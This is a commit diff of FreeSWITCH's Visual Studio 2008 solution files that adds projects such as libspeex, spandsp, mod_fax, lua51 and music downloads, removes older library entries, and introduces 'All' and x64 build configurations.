 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|Win32.Build.0 = Debug|Win32
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3}.Debug|x64.ActiveCfg = Debug|Win32
@@ -1329,6 +1320,36 @@
 		{426B1369-FDB7-4B18-A7EF-9C6A9097A130}.Release|Win32.ActiveCfg = Release|Win32
 		{426B1369-FDB7-4B18-A7EF-9C6A9097A130}.Release|Win32.Build.0 = Release|Win32
 		{426B1369-FDB7-4B18-A7EF-9C6A9097A130}.Release|x64.ActiveCfg = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.Build.0 = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|x64.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.ActiveCfg = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.Build.0 = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|x64.ActiveCfg = Release|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug|Win32.Build.0 = Debug|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Debug|x64.ActiveCfg = Debug|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release|Win32.ActiveCfg = Release|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release|Win32.Build.0 = Release|Win32
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197}.Release|x64.ActiveCfg = Release|Win32
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}.Debug|Win32.ActiveCfg = Debug|Win32
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}.Debug|Win32.Build.0 = Debug|Win32
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}.Debug|x64.ActiveCfg = Debug|Win32
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}.Release|Win32.ActiveCfg = Release|Win32
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}.Release|Win32.Build.0 = Release|Win32
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}.Release|x64.ActiveCfg = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|Win32.ActiveCfg = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|Win32.Build.0 = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|x64.ActiveCfg = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|Win32.ActiveCfg = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|Win32.Build.0 = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|x64.ActiveCfg = Release|Win32
+		{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}.Debug|Win32.ActiveCfg = Debug|Win32
+		{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}.Debug|Win32.Build.0 = Debug|Win32
+		{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}.Debug|x64.ActiveCfg = Debug|Win32
+		{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}.Release|Win32.ActiveCfg = Release|Win32
+		{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}.Release|Win32.Build.0 = Release|Win32
+		{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE}.Release|x64.ActiveCfg = Release|Win32
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE
@@ -1371,16 +1392,13 @@
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723} = {CBD81696-EFB4-4D2F-8451-1B8DAA86155A}
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98} = {B8F5B47B-8568-46EB-B320-64C17D2A98BC}
 		{89385C74-5860-4174-9CAF-A39E7C48909C} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{1906D736-08BD-4EE1-924F-B536249B9A54} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{1CED5987-A529-46DC-B30F-870D85FF9C94} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{E727E8F6-935D-46FE-8B0E-37834748A0E3} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{0D826AF5-0506-4C50-BB8B-7DB019AC21AE} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{49C34584-B6DA-448F-83CF-27584DC9FC90} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
@@ -1397,6 +1415,10 @@
 		{B535402E-38D2-4D54-8360-423ACBD17192} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{0D108721-EAE8-4BAF-8102-D8960EC93647} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{E42FDC95-7243-4219-9EA4-ACCE4AB97197} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
+		{D0B36172-CD76-454A-9B89-990025266C2A} = {EB910B0D-F27D-4B62-B67B-DE834C99AC5B}
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F} = {0C808854-54D1-4230-BFF5-77B5FD905000}
 		{ACFFF684-4D19-4D48-AF12-88EA1D778BDF} = {0C808854-54D1-4230-BFF5-77B5FD905000}
 		{8F992C49-6C51-412F-B2A3-34EAB708EB65} = {0C808854-54D1-4230-BFF5-77B5FD905000}
@@ -1418,6 +1440,7 @@
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
+		{AEE5D1F8-3386-4CB2-A336-0125C4C7EAEE} = {6CD61A1D-797C-470A-BE08-8C31B68BB336}
 		{3B08FEFD-4D3D-4C16-BA94-EE83509E32A0} = {57D119DC-484F-420F-B9E9-8589FD9A8DF8}
 		{7BFD517E-7F8F-4A40-A78E-8D3632738227} = {57D119DC-484F-420F-B9E9-8589FD9A8DF8}
 		{6374D55C-FABE-4A02-9CF1-4145308A56C5} = {57D119DC-484F-420F-B9E9-8589FD9A8DF8}

Modified: freeswitch/branches/seven/Freeswitch.2008.express.sln (14471 => 14472)


--- freeswitch/branches/seven/Freeswitch.2008.express.sln	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/Freeswitch.2008.express.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,10 +9,10 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FreeSwitchCoreLib", "w32\Library\FreeSwitchCore.2008.vcproj", "{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}"
 	ProjectSection(ProjectDependencies) = postProject
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761} = {50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9} = {8D04B550-D240-4A44-8A18-35DA3F7038D9}
 		{89385C74-5860-4174-9CAF-A39E7C48909C} = {89385C74-5860-4174-9CAF-A39E7C48909C}
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750} = {EEF031CB-FED8-451E-A471-91EC8D4F6750}
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3} = {6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}
@@ -45,8 +45,9 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_speex", "src\mod\codecs\mod_speex\mod_speex.2008.vcproj", "{5580D60E-0F77-4716-9CD4-B8E5986FA375}"
 	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918} = {1C469CDD-A3AF-4A94-A592-B2CF12F2D918}
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "docs", "docs\docs.2008.vcproj", "{1A1FF289-4FD6-4285-A422-D31DD67A4723}"
@@ -99,8 +100,8 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_ilbc", "src\mod\codecs\mod_ilbc\mod_ilbc.2008.vcproj", "{D3EC0AFF-76FC-4210-A825-9A17410660A3}"
 	ProjectSection(ProjectDependencies) = postProject
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD} = {9A5DDF08-C88C-4A35-B7F6-D605228446BD}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8} = {989BB874-7AF1-44CB-8E5C-CC8113D267E8}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_dingaling", "src\mod\endpoints\mod_dingaling\mod_dingaling.2008.vcproj", "{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}"
@@ -156,8 +157,6 @@
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 	EndProjectSection
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libilbc", "libs\codec\ilbc\libilbc.2008.vcproj", "{989BB874-7AF1-44CB-8E5C-CC8113D267E8}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libdingaling", "libs\libdingaling\libdingaling.2008.vcproj", "{1906D736-08BD-4EE1-924F-B536249B9A54}"
 	ProjectSection(ProjectDependencies) = postProject
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
@@ -175,8 +174,6 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libpcre Generate pcre_chartables.c", "libs\win32\pcre\pcre_chartables.c.2008.vcproj", "{1CED5987-A529-46DC-B30F-870D85FF9C94}"
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libresample", "libs\win32\libresample\libresample.2008.vcproj", "{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libapr", "libs\win32\apr\libapr.2008.vcproj", "{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libaprutil", "libs\win32\apr-util\libaprutil.2008.vcproj", "{F057DA7F-79E5-4B00-845C-EF446EF055E3}"
@@ -184,8 +181,6 @@
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 	EndProjectSection
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libs\win32\speex\libspeex.2008.vcproj", "{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "iksemel", "libs\win32\iksemel\iksemel.2008.vcproj", "{E727E8F6-935D-46FE-8B0E-37834748A0E3}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download HOWL", "libs\win32\Download HOWL.2008.vcproj", "{5927104D-C14C-4AC8-925C-4AB681762E75}"
@@ -413,6 +408,7 @@
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_lua", "src\mod\languages\mod_lua\mod_lua.2008.vcproj", "{7B077E7F-1BE7-4291-AB86-55E527B25CAC}"
 	ProjectSection(ProjectDependencies) = postProject
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{D0B36172-CD76-454A-9B89-990025266C2A} = {D0B36172-CD76-454A-9B89-990025266C2A}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "abyss", "libs\xmlrpc-c\Windows\abyss.2008.vcproj", "{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}"
@@ -565,709 +561,1526 @@
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E} = {CF405366-9558-4AE8-90EF-5E21B51CCB4E}
 	EndProjectSection
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_easyroute", "src\mod\applications\mod_easyroute\mod_easyroute.2008.vcproj", "{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_lcr", "src\mod\applications\mod_lcr\mod_lcr.2008.vcproj", "{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspandsp", "libs\spandsp\src\libspandsp.2008.vcproj", "{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	ProjectSection(ProjectDependencies) = postProject
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838} = {329A6FA0-0FCC-4435-A950-E670AEFA9838}
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330} = {DEE932AB-5911-4700-9EEB-8C7090A0A330}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {401A40CD-5DB4-4E34-AC68-FA99E9FAC014}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libtiff", "libs\spandsp\src\libtiff.2008.vcproj", "{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_fax", "src\mod\applications\mod_fax\mod_fax.2008.vcproj", "{7877EFC8-4807-484B-B573-D7B7FD058FAA}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {401A40CD-5DB4-4E34-AC68-FA99E9FAC014}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libs\speex\win32\VS2008\libspeex\libspeex.vcproj", "{E972C52F-9E85-4D65-B19C-031E511E9DB4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeexdsp", "libs\speex\win32\VS2008\libspeexdsp\libspeexdsp.vcproj", "{03207781-0D1C-4DB3-A71D-45C608F28DBD}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libilbc", "libs\ilbc\libilbc.2008.vcproj", "{9A5DDF08-C88C-4A35-B7F6-D605228446BD}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_opal", "src\mod\endpoints\mod_opal\mod_opal_2008.vcproj", "{05C9FB27-480E-4D53-B3B7-6338E2526666}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lua51", "src\mod\languages\mod_lua\lua\lua.2008.vcproj", "{D0B36172-CD76-454A-9B89-990025266C2A}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_at_dictionary", "libs\spandsp\src\msvc\make_at_dictionary.2008.vcproj", "{DEE932AB-5911-4700-9EEB-8C7090A0A330}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_modem_filter", "libs\spandsp\src\msvc\make_modem_filter.2008.vcproj", "{329A6FA0-0FCC-4435-A950-E670AEFA9838}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download 32khz music", "libs\win32\Dowload 32khz music.2008.vcproj", "{1F0A8A77-E661-418F-BB92-82172AE43803}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download 8khz music", "libs\win32\Download 8khz music.2008.vcproj", "{4F5C9D55-98EF-4256-8311-32D7BD360406}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download 16khz music", "libs\win32\Download 16khz music.2008.vcproj", "{E10571C4-E7F4-4608-B5F2-B22E7EB95400}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "8khz music", "libs\win32\Sound_Files\8khzmusic.2008.vcproj", "{D1ABE208-6442-4FB4-9AAD-1677E41BC870}"
+	ProjectSection(ProjectDependencies) = postProject
+		{4F5C9D55-98EF-4256-8311-32D7BD360406} = {4F5C9D55-98EF-4256-8311-32D7BD360406}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "16khz music", "libs\win32\Sound_Files\16khzmusic.2008.vcproj", "{BA599D0A-4310-4505-91DA-6A6447B3E289}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400} = {E10571C4-E7F4-4608-B5F2-B22E7EB95400}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "32khz music", "libs\win32\Sound_Files\32khzmusic.2008.vcproj", "{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1F0A8A77-E661-418F-BB92-82172AE43803} = {1F0A8A77-E661-418F-BB92-82172AE43803}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_say_ru", "src\mod\say\mod_say_ru\mod_say_ru.2008.vcproj", "{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_skypiax", "src\mod\endpoints\mod_skypiax\mod_skypiax.2008.vcproj", "{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		All|Win32 = All|Win32
+		All|x64 = All|x64
 		Debug|Win32 = Debug|Win32
 		Debug|x64 = Debug|x64
 		Release|Win32 = Release|Win32
 		Release|x64 = Release|x64
 	EndGlobalSection
 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.All|Win32.ActiveCfg = Release|x64
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.All|x64.ActiveCfg = Release|x64
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.All|x64.Build.0 = Release|x64
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|Win32.Build.0 = Debug|Win32
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|x64.ActiveCfg = Debug|Win32
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|x64.Build.0 = Debug|Win32
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|Win32.ActiveCfg = Release|Win32
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|Win32.Build.0 = Release|Win32
-		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|x64.ActiveCfg = Release|Win32
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|x64.ActiveCfg = Release|x64
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|x64.Build.0 = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.All|Win32.ActiveCfg = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.All|x64.ActiveCfg = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.All|x64.Build.0 = Release|x64
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|Win32.Build.0 = Debug|Win32
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|x64.ActiveCfg = Debug|Win32
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|x64.Build.0 = Debug|Win32
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|Win32.ActiveCfg = Release|Win32
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|Win32.Build.0 = Release|Win32
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|x64.ActiveCfg = Release|Win32
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|x64.ActiveCfg = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|x64.Build.0 = Release|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.All|Win32.ActiveCfg = Release Passthrough|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.All|x64.ActiveCfg = Release Passthrough|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.All|x64.Build.0 = Release Passthrough|x64
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|Win32.ActiveCfg = Debug Passthrough|Win32
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|Win32.Build.0 = Debug Passthrough|Win32
-		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|x64.ActiveCfg = Debug|Win32
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|x64.ActiveCfg = Debug Passthrough|Win32
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|x64.Build.0 = Debug Passthrough|Win32
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|Win32.ActiveCfg = Release Passthrough|Win32
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|Win32.Build.0 = Release Passthrough|Win32
-		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|x64.ActiveCfg = Release|Win32
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|x64.ActiveCfg = Release Passthrough|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|x64.Build.0 = Release Passthrough|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.All|Win32.ActiveCfg = Release|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.All|x64.ActiveCfg = Release|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.All|x64.Build.0 = Release|x64
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|Win32.ActiveCfg = Debug|Win32
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|Win32.Build.0 = Debug|Win32
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|x64.ActiveCfg = Debug|Win32
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|x64.Build.0 = Debug|Win32
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|Win32.ActiveCfg = Release|Win32
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|Win32.Build.0 = Release|Win32
-		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|x64.ActiveCfg = Release|Win32
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|x64.ActiveCfg = Release|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|x64.Build.0 = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.All|Win32.ActiveCfg = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.All|x64.ActiveCfg = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.All|x64.Build.0 = Release|x64
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|Win32.Build.0 = Debug|Win32
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|x64.ActiveCfg = Debug|Win32
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|x64.Build.0 = Debug|Win32
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|Win32.ActiveCfg = Release|Win32
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|Win32.Build.0 = Release|Win32
-		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|x64.ActiveCfg = Release|Win32
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|x64.ActiveCfg = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|x64.Build.0 = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.All|Win32.ActiveCfg = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.All|x64.ActiveCfg = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.All|x64.Build.0 = Release|x64
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|Win32.Build.0 = Debug|Win32
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|x64.ActiveCfg = Debug|Win32
